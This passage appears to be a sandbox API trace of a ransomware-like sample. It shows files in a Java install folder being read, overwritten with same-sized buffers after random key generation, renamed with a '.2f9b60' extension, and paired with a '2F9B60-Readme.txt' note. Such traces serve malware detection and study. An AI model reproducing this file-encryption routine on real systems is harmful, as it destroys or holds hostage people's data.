[0162.243] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1cf0) returned 1 [0162.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d180 [0162.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1cf0 [0162.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c3c0 [0162.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c180f0 [0162.245] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c180f0) returned 1 [0162.245] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d1a0 [0162.245] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c180f0 [0162.245] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18120 [0162.245] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18120) returned 1 [0162.246] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c3c0) returned 1 [0162.246] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1cf0) returned 1 [0162.246] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xf8) returned 0x1b78e680 [0162.246] SetFilePointerEx (in: hFile=0xa4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.246] WriteFile (in: hFile=0xa4c, lpBuffer=0x1b78e680*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2b55fcd0, lpOverlapped=0x0 | out: lpBuffer=0x1b78e680*, lpNumberOfBytesWritten=0x2b55fcd0*=0xf8, lpOverlapped=0x0) returned 1 [0164.402] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059970 [0164.402] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59930 [0164.403] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4300 [0164.403] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4300) returned 1 [0164.403] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6) returned 0x1b7d3400 [0164.403] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4300 [0164.404] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f42d0 [0164.404] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f42d0) returned 1 [0164.404] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59930) returned 1 [0164.405] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059970) returned 1 [0164.405] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd) returned 0x1b82d140 [0164.405] sprintf (in: _Dest=0x1b82d140, _Format="%c%c" | out: _Dest="63") returned 2 [0164.405] sprintf (in: _Dest=0x1b82d142, _Format="%c%c" | out: _Dest="88") returned 2 [0164.405] sprintf (in: _Dest=0x1b82d144, _Format="%c%c" | out: _Dest="3e") returned 2 [0164.405] sprintf (in: _Dest=0x1b82d146, _Format="%c%c" | out: _Dest="e6") returned 2 [0164.405] sprintf (in: _Dest=0x1b82d148, _Format="%c%c" | out: _Dest="9f") returned 2 [0164.405] sprintf (in: _Dest=0x1b82d14a, _Format="%c%c" | out: _Dest="80") returned 2 [0164.405] RtlInitAnsiString (in: DestinationString=0x2b55fd48, SourceString="63883ee69f80" | out: DestinationString="63883ee69f80") [0164.405] RtlAnsiStringToUnicodeString (in: DestinationString=0x2b55fd18, SourceString="63883ee69f80", AllocateDestinationString=1 | out: DestinationString="63883ee69f80") returned 0x0 [0164.405] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x422f4210 [0164.406] RtlFreeAnsiString (AnsiString="6") [0164.406] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d140) returned 1 [0164.407] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3400) returned 1 [0164.407] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4300) returned 1 [0164.407] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b78e680) returned 1 [0164.407] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1a0) returned 1 [0164.408] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c180f0) returned 1 [0164.408] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d180) returned 1 [0164.408] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c180c0) returned 1 [0164.409] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd95c0) returned 1 [0164.409] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9680) returned 1 [0164.409] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd96b0) returned 1 [0164.409] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1b8645a0 [0164.410] wcscat (in: _Dest=0x1b8645a0, _Source="638" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\638") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\638" [0164.410] wcscat (in: _Dest=0x1b8645a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\638.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\638.2f9b60" [0164.410] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\638.2f9b60", NtPathName=0x2b55fcf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\638.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.410] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x42c22900 [0190.740] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c22900) returned 1 [0190.741] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423adaf0) returned 1 [0190.741] NtQueryInformationFile (in: FileHandle=0xa4c, IoStatusBlock=0x2b55fd58, FileInformation=0x2b55fd68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2b55fd58, FileInformation=0x2b55fd68) returned 0x0 [0190.741] NtSetInformationFile (FileHandle=0xa4c, IoStatusBlock=0x2b55fd58, FileInformation=0x2b55fd68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0208.626] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8645a0) returned 1 [0208.626] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4210) returned 1 [0208.626] FlushFileBuffers (hFile=0xa4c) returned 1 [0208.628] CloseHandle (hObject=0xa4c) returned 1 [0209.638] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x42061630 [0209.638] wcscpy (in: _Dest=0x42061630, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\" [0209.638] wcscat (in: _Dest=0x42061630, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\2F9B60-Readme.txt" [0209.638] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\2f9b60-readme.txt")) Thread: id = 2471 os_tid = 0x1f10 [0154.305] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\ZoneInfoMappings" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\zoneinfomappings")) returned 0x20 [0154.306] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\ZoneInfoMappings", dwFileAttributes=0x20) returned 1 [0154.306] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\ZoneInfoMappings" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\zoneinfomappings"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x132c [0154.307] GetFileSizeEx (in: hFile=0x132c, lpFileSize=0x2b82fd20 | out: lpFileSize=0x2b82fd20*=14736) returned 1 [0154.307] SetFilePointerEx (in: hFile=0x132c, liDistanceToMove=0x398c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.307] ReadFile (in: hFile=0x132c, lpBuffer=0x2b82fca0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2b82fce8, lpOverlapped=0x0 | out: lpBuffer=0x2b82fca0*, lpNumberOfBytesRead=0x2b82fce8*=0x4, lpOverlapped=0x0) returned 1 [0154.343] SetFilePointerEx (in: hFile=0x132c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.343] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5680 [0154.343] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5260 [0154.343] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9650 [0154.343] NtQuerySystemTime (in: CurrentTime=0x2b82fbe0 | out: CurrentTime=0x2b82fbe0*=132462177594706000) returned 0x0 [0154.343] RtlRandomEx (in: Seed=0x2b82fbd0 | out: Seed=0x2b82fbd0) returned 0x71d808bb [0154.343] RtlRandomEx (in: Seed=0x2b82fbd0 | out: Seed=0x2b82fbd0) returned 0x20de6f82 [0154.344] RtlRandomEx (in: Seed=0x2b82fbd0 | out: Seed=0x2b82fbd0) returned 0x2862f2a4 [0154.344] RtlRandomEx (in: Seed=0x2b82fbd0 | out: Seed=0x2b82fbd0) returned 0x6ac6ab1f [0154.344] RtlRandomEx (in: Seed=0x2b82fbd0 | out: Seed=0x2b82fbd0) returned 0x41456a21 [0154.344] RtlRandomEx (in: Seed=0x2b82fbd0 | out: Seed=0x2b82fbd0) returned 0x3db293c8 [0154.344] RtlRandomEx (in: Seed=0x2b82fbd0 | out: Seed=0x2b82fbd0) returned 0xd697031 [0154.344] RtlRandomEx (in: Seed=0x2b82fbd0 | out: Seed=0x2b82fbd0) returned 0x5e51c963 [0154.344] RtlRandomEx (in: Seed=0x2b82fbd0 | out: Seed=0x2b82fbd0) returned 0x2850d0c4 [0154.344] RtlRandomEx (in: Seed=0x2b82fbd0 | out: Seed=0x2b82fbd0) returned 0x76a3abee [0154.344] RtlRandomEx (in: Seed=0x2b82fbd0 | out: Seed=0x2b82fbd0) returned 0x2214c83 [0154.344] RtlRandomEx (in: Seed=0x2b82fbd0 | out: Seed=0x2b82fbd0) returned 0x68c5b838 [0154.344] RtlRandomEx (in: Seed=0x2b82fbd0 | out: Seed=0x2b82fbd0) returned 0x4b54b468 [0154.344] RtlRandomEx (in: Seed=0x2b82fbd0 | out: Seed=0x2b82fbd0) returned 0x1d40b97e [0154.344] RtlRandomEx (in: Seed=0x2b82fbd0 | out: Seed=0x2b82fbd0) returned 0x5eac7be [0154.344] RtlRandomEx (in: Seed=0x2b82fbd0 | out: Seed=0x2b82fbd0) returned 0x3f643ba1 [0154.344] RtlRandomEx (in: Seed=0x2b82fbd0 | out: Seed=0x2b82fbd0) returned 0x77ec6c64 [0154.344] RtlRandomEx (in: Seed=0x2b82fbd0 | out: Seed=0x2b82fbd0) returned 0x2c9ea22b [0154.344] RtlRandomEx (in: Seed=0x2b82fbd0 | out: Seed=0x2b82fbd0) returned 0x2154ad3 [0154.344] RtlRandomEx (in: Seed=0x2b82fbd0 | out: Seed=0x2b82fbd0) returned 0x52bf22a6 [0154.344] RtlRandomEx (in: Seed=0x2b82fbd0 | out: Seed=0x2b82fbd0) returned 0x4a3e9487 [0154.344] RtlRandomEx (in: Seed=0x2b82fbd0 | out: Seed=0x2b82fbd0) returned 0x5122b145 [0154.344] RtlRandomEx (in: Seed=0x2b82fbd0 | out: Seed=0x2b82fbd0) returned 0x5cd898b7 [0154.344] RtlRandomEx (in: Seed=0x2b82fbd0 | out: Seed=0x2b82fbd0) returned 0x799d0ebc [0154.344] RtlRandomEx (in: Seed=0x2b82fbd0 | out: Seed=0x2b82fbd0) returned 0x32053255 [0154.344] RtlRandomEx (in: Seed=0x2b82fbd0 | out: Seed=0x2b82fbd0) returned 0x2612ce9d [0154.344] RtlRandomEx (in: Seed=0x2b82fbd0 | out: Seed=0x2b82fbd0) returned 0x13b59752 [0154.344] RtlRandomEx (in: Seed=0x2b82fbd0 | out: Seed=0x2b82fbd0) returned 0x1a321add [0154.344] RtlRandomEx (in: Seed=0x2b82fbd0 | out: Seed=0x2b82fbd0) returned 0x5d136daa [0154.344] RtlRandomEx (in: Seed=0x2b82fbd0 | out: Seed=0x2b82fbd0) returned 0x5ce4a4a1 [0154.344] RtlRandomEx (in: Seed=0x2b82fbd0 | out: Seed=0x2b82fbd0) returned 0x7968af52 [0154.344] RtlRandomEx (in: Seed=0x2b82fbd0 | out: Seed=0x2b82fbd0) returned 0xea8616f [0154.353] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd96e0 [0154.354] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c440 [0154.354] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9710 [0154.354] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c440) returned 1 [0154.355] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9650) returned 1 [0154.355] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5680) returned 1 [0154.355] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1d40 [0154.355] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c440 [0154.355] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5680 [0154.355] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5680) returned 1 [0154.355] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x427e8ed0 [0154.356] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x427ecae0 [0154.356] ReadFile (in: hFile=0x132c, lpBuffer=0x427e8ed0, nNumberOfBytesToRead=0x3990, lpNumberOfBytesRead=0x2b82fbd0, lpOverlapped=0x0 | out: lpBuffer=0x427e8ed0*, lpNumberOfBytesRead=0x2b82fbd0*=0x3990, lpOverlapped=0x0) returned 1 [0154.357] SetFilePointerEx (in: hFile=0x132c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.357] WriteFile (in: hFile=0x132c, lpBuffer=0x427ecae0*, nNumberOfBytesToWrite=0x3990, lpNumberOfBytesWritten=0x2b82fbd4, lpOverlapped=0x0 | out: lpBuffer=0x427ecae0*, lpNumberOfBytesWritten=0x2b82fbd4*=0x3990, lpOverlapped=0x0) returned 1 [0162.272] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18420 [0162.272] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18450 [0162.272] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18450) returned 1 [0162.272] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x427ecae0) returned 1 [0162.272] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x427e8ed0) returned 1 [0162.273] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c440) returned 1 [0162.273] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1d40) returned 1 [0162.273] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1b7d8240 [0162.273] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1d40 [0162.273] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c440 [0162.274] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18450 [0162.274] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18450) returned 1 [0162.274] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1b7aa360 [0162.274] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18450 [0162.274] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18480 [0162.275] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18480) returned 1 [0162.275] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c440) returned 1 [0162.275] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1d40) returned 1 [0162.275] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x112) returned 0x42c14750 [0162.275] SetFilePointerEx (in: hFile=0x132c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.276] WriteFile (in: hFile=0x132c, lpBuffer=0x42c14750*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2b82fcf0, lpOverlapped=0x0 | out: lpBuffer=0x42c14750*, lpNumberOfBytesWritten=0x2b82fcf0*=0x112, lpOverlapped=0x0) returned 1 [0164.447] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059970 [0164.447] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59930 [0164.448] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4720 [0164.448] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4720) returned 1 [0164.448] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4720 [0164.448] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f46f0 [0164.449] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4630 [0164.449] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4630) returned 1 [0164.449] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59930) returned 1 [0164.450] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059970) returned 1 [0164.450] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x41) returned 0x42059970 [0164.450] sprintf (in: _Dest=0x42059970, _Format="%c%c" | out: _Dest="df") returned 2 [0164.450] sprintf (in: _Dest=0x42059972, _Format="%c%c" | out: _Dest="d4") returned 2 [0164.450] sprintf (in: _Dest=0x42059974, _Format="%c%c" | out: _Dest="ab") returned 2 [0164.450] sprintf (in: _Dest=0x42059976, _Format="%c%c" | out: _Dest="12") returned 2 [0164.450] sprintf (in: _Dest=0x42059978, _Format="%c%c" | out: _Dest="9c") returned 2 [0164.450] sprintf (in: _Dest=0x4205997a, _Format="%c%c" | out: _Dest="82") returned 2 [0164.450] sprintf (in: _Dest=0x4205997c, _Format="%c%c" | out: _Dest="75") returned 2 [0164.450] sprintf (in: _Dest=0x4205997e, _Format="%c%c" | out: _Dest="57") returned 2 [0164.450] sprintf (in: _Dest=0x42059980, _Format="%c%c" | out: _Dest="21") returned 2 [0164.450] sprintf (in: _Dest=0x42059982, _Format="%c%c" | out: _Dest="5c") returned 2 [0164.450] sprintf (in: _Dest=0x42059984, _Format="%c%c" | out: _Dest="ac") returned 2 [0164.450] sprintf (in: _Dest=0x42059986, _Format="%c%c" | out: _Dest="12") returned 2 [0164.450] sprintf (in: _Dest=0x42059988, _Format="%c%c" | out: _Dest="9a") returned 2 [0164.450] sprintf (in: _Dest=0x4205998a, _Format="%c%c" | out: _Dest="da") returned 2 [0164.450] sprintf (in: _Dest=0x4205998c, _Format="%c%c" | out: _Dest="c5") returned 2 [0164.450] sprintf (in: _Dest=0x4205998e, _Format="%c%c" | out: _Dest="1b") returned 2 [0164.450] sprintf (in: _Dest=0x42059990, _Format="%c%c" | out: _Dest="b1") returned 2 [0164.451] sprintf (in: _Dest=0x42059992, _Format="%c%c" | out: _Dest="9a") returned 2 [0164.451] sprintf (in: _Dest=0x42059994, _Format="%c%c" | out: _Dest="8f") returned 2 [0164.451] sprintf (in: _Dest=0x42059996, _Format="%c%c" | out: _Dest="25") returned 2 [0164.451] sprintf (in: _Dest=0x42059998, _Format="%c%c" | out: _Dest="51") returned 2 [0164.451] sprintf (in: _Dest=0x4205999a, _Format="%c%c" | out: _Dest="6c") returned 2 [0164.451] sprintf (in: _Dest=0x4205999c, _Format="%c%c" | out: _Dest="1d") returned 2 [0164.451] sprintf (in: _Dest=0x4205999e, _Format="%c%c" | out: _Dest="be") returned 2 [0164.451] sprintf (in: _Dest=0x420599a0, _Format="%c%c" | out: _Dest="db") returned 2 [0164.451] sprintf (in: _Dest=0x420599a2, _Format="%c%c" | out: _Dest="f5") returned 2 [0164.451] sprintf (in: _Dest=0x420599a4, _Format="%c%c" | out: _Dest="cd") returned 2 [0164.451] sprintf (in: _Dest=0x420599a6, _Format="%c%c" | out: _Dest="59") returned 2 [0164.451] sprintf (in: _Dest=0x420599a8, _Format="%c%c" | out: _Dest="a5") returned 2 [0164.451] sprintf (in: _Dest=0x420599aa, _Format="%c%c" | out: _Dest="8e") returned 2 [0164.451] sprintf (in: _Dest=0x420599ac, _Format="%c%c" | out: _Dest="d8") returned 2 [0164.451] sprintf (in: _Dest=0x420599ae, _Format="%c%c" | out: _Dest="b3") returned 2 [0164.451] RtlInitAnsiString (in: DestinationString=0x2b82fd68, SourceString="dfd4ab129c827557215cac129adac51bb19a8f25516c1dbedbf5cd59a58ed8b3" | out: DestinationString="dfd4ab129c827557215cac129adac51bb19a8f25516c1dbedbf5cd59a58ed8b3") [0164.451] RtlAnsiStringToUnicodeString (in: DestinationString=0x2b82fd38, SourceString="dfd4ab129c827557215cac129adac51bb19a8f25516c1dbedbf5cd59a58ed8b3", AllocateDestinationString=1 | out: DestinationString="dfd4ab129c827557215cac129adac51bb19a8f25516c1dbedbf5cd59a58ed8b3") returned 0x0 [0164.451] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x42c22a20 [0164.452] RtlFreeAnsiString (AnsiString="d") [0164.452] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059970) returned 1 [0164.452] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4720) returned 1 [0164.453] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f46f0) returned 1 [0164.453] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c14750) returned 1 [0164.453] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7aa360) returned 1 [0164.453] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18450) returned 1 [0164.454] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d8240) returned 1 [0164.454] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18420) returned 1 [0164.454] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5260) returned 1 [0164.454] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd96e0) returned 1 [0164.455] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9710) returned 1 [0164.455] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x42c22990 [0164.455] wcscat (in: _Dest=0x42c22990, _Source="dfd4ab129c827557" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\dfd4ab129c827557") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\dfd4ab129c827557" [0164.455] wcscat (in: _Dest=0x42c22990, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\dfd4ab129c827557.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\dfd4ab129c827557.2f9b60" [0164.456] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\dfd4ab129c827557.2f9b60", NtPathName=0x2b82fd10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\dfd4ab129c827557.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.456] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x2050c450 [0187.860] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c450) returned 1 [0187.860] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1ba30) returned 1 [0187.860] NtQueryInformationFile (in: FileHandle=0x132c, IoStatusBlock=0x2b82fd78, FileInformation=0x2b82fd88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2b82fd78, FileInformation=0x2b82fd88) returned 0x0 [0187.860] NtSetInformationFile (FileHandle=0x132c, IoStatusBlock=0x2b82fd78, FileInformation=0x2b82fd88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0209.496] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c22990) returned 1 [0209.497] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c22a20) returned 1 [0209.497] FlushFileBuffers (hFile=0x132c) returned 1 [0213.134] CloseHandle (hObject=0x132c) returned 1 [0216.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b869540 [0216.141] wcscpy (in: _Dest=0x1b869540, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\" [0216.141] wcscat (in: _Dest=0x1b869540, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\2F9B60-Readme.txt" [0216.141] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\2f9b60-readme.txt")) returned 0x20 [0238.133] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869540) returned 1 [0238.133] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867dc0) returned 1 Thread: id = 2472 os_tid = 0x1f14 [0154.323] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x4205deb0 [0154.323] wcscpy (in: _Dest=0x4205deb0, _Source="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" [0154.323] wcscat (in: _Dest=0x4205deb0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\" [0154.323] wcscat (in: _Dest=0x4205deb0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS 